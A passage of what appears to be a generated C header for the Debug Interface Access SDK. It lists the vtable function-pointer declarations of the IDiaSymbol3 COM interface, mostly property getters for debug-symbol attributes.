STDMETHODCALLTYPE *get_addressSection )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressOffset )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_relativeVirtualAddress )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualAddress )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerId )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_offset )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ LONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_length )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_slot )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_volatileType )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constType )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unalignedType )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_access )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_libraryName )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_platform )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_language )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_editAndContinueEnabled )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndMajor )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndMinor )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndBuild )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndMajor )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndMinor )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndBuild )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sourceFileName )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unused )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_thunkOrdinal )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_thisAdjust )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ LONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseOffset )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtual )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_intro )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_pure )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_callingConvention )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_value )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ VARIANT *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseType )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_token )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_timeStamp )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_guid )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ GUID *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symbolsFileName )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_reference )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_count )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bitPosition )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_arrayIndexType )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_packed )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constructor )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_overloadedOperator )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_nested )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasNestedTypes )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAssignmentOperator )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasCastOperator )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_scoped )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseClass )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_indirectVirtualBaseClass )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBasePointerOffset )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ LONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualTableShape )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lexicalParentId )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_classParentId )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_typeId )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_arrayIndexTypeId )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualTableShapeId )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_code )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_function )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_managed )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_msil )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseDispIndex )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_undecoratedName )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_age )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_signature )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilerGenerated )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressTaken )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_rank )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lowerBound )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_upperBound )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lowerBoundId )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_upperBoundId )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_dataBytes )( \n            IDiaSymbol3 * This,\n            /* [in] */ DWORD cbData,\n            /* [out] */ DWORD *pcbData,\n            /* [size_is][out] */ BYTE *pbData);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildren )( \n            IDiaSymbol3 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenEx )( \n            IDiaSymbol3 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenExByAddr )( \n            IDiaSymbol3 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenExByVA )( \n            IDiaSymbol3 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [in] */ ULONGLONG va,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenExByRVA )( \n            IDiaSymbol3 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [in] */ DWORD rva,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetSection )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetOffset )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetRelativeVirtualAddress )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetVirtualAddress )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_machineType )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_oemId )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_oemSymbolId )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_types )( \n            IDiaSymbol3 * This,\n            /* [in] */ DWORD cTypes,\n            /* [out] */ DWORD *pcTypes,\n            /* [size_is][size_is][out] */ IDiaSymbol **pTypes);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_typeIds )( \n            IDiaSymbol3 * This,\n            /* [in] */ DWORD cTypeIds,\n            /* [out] */ DWORD *pcTypeIds,\n            /* [size_is][out] */ DWORD *pdwTypeIds);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_objectPointerType )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_udtKind )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_undecoratedNameEx )( \n            IDiaSymbol3 * This,\n            /* [in] */ DWORD undecorateOptions,\n            /* [out] */ BSTR *name);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noReturn )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_customCallingConvention )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noInline )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_optimizedCodeDebugInfo )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_notReached )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_interruptReturn )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_farReturn )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStatic )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasDebugInfo )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isLTCG )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isDataAligned )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSecurityChecks )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilerName )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAlloca )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSetJump )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasLongJump )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasInlAsm )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasEH )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSEH )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasEHa )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isNaked )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAggregated )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSplitted )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_container )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlSpec )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noStackOrdering )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseTableType )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasManagedCode )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isHotpatchable )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCVTCIL )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMSILNetmodule )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCTypes )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStripped )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndQFE )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndQFE )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_wasInlined )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_strictGSCheck )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCxxReturnUdt )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isConstructorVirtualBase )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_RValueReference )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unmodifiedType )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_framePointerPresent )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSafeBuffers )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_intrinsic )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sealed )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hfaFloat )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hfaDouble )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartAddressSection )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartAddressOffset )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartRelativeVirtualAddress )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_countLiveRanges )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeLength )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_offsetInUdt )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_paramBasePointerRegisterId )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_localBasePointerRegisterId )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isLocationControlFlowDependent )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_stride )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfRows )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfColumns )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMatrixRowMajor )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_numericProperties )( \n            IDiaSymbol3 * This,\n            /* [in] */ DWORD cnt,\n            /* [out] */ DWORD *pcnt,\n            /* [size_is][out] */ DWORD *pProperties);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_modifierValues )( \n            IDiaSymbol3 * This,\n            /* [in] */ DWORD cnt,\n            /* [out] */ DWORD *pcnt,\n            /* [size_is][out] */ WORD *pModifiers);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isReturnValue )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isOptimizedAway )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_builtInKind )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerType )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseDataSlot )( \n            IDiaSymbol3 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( 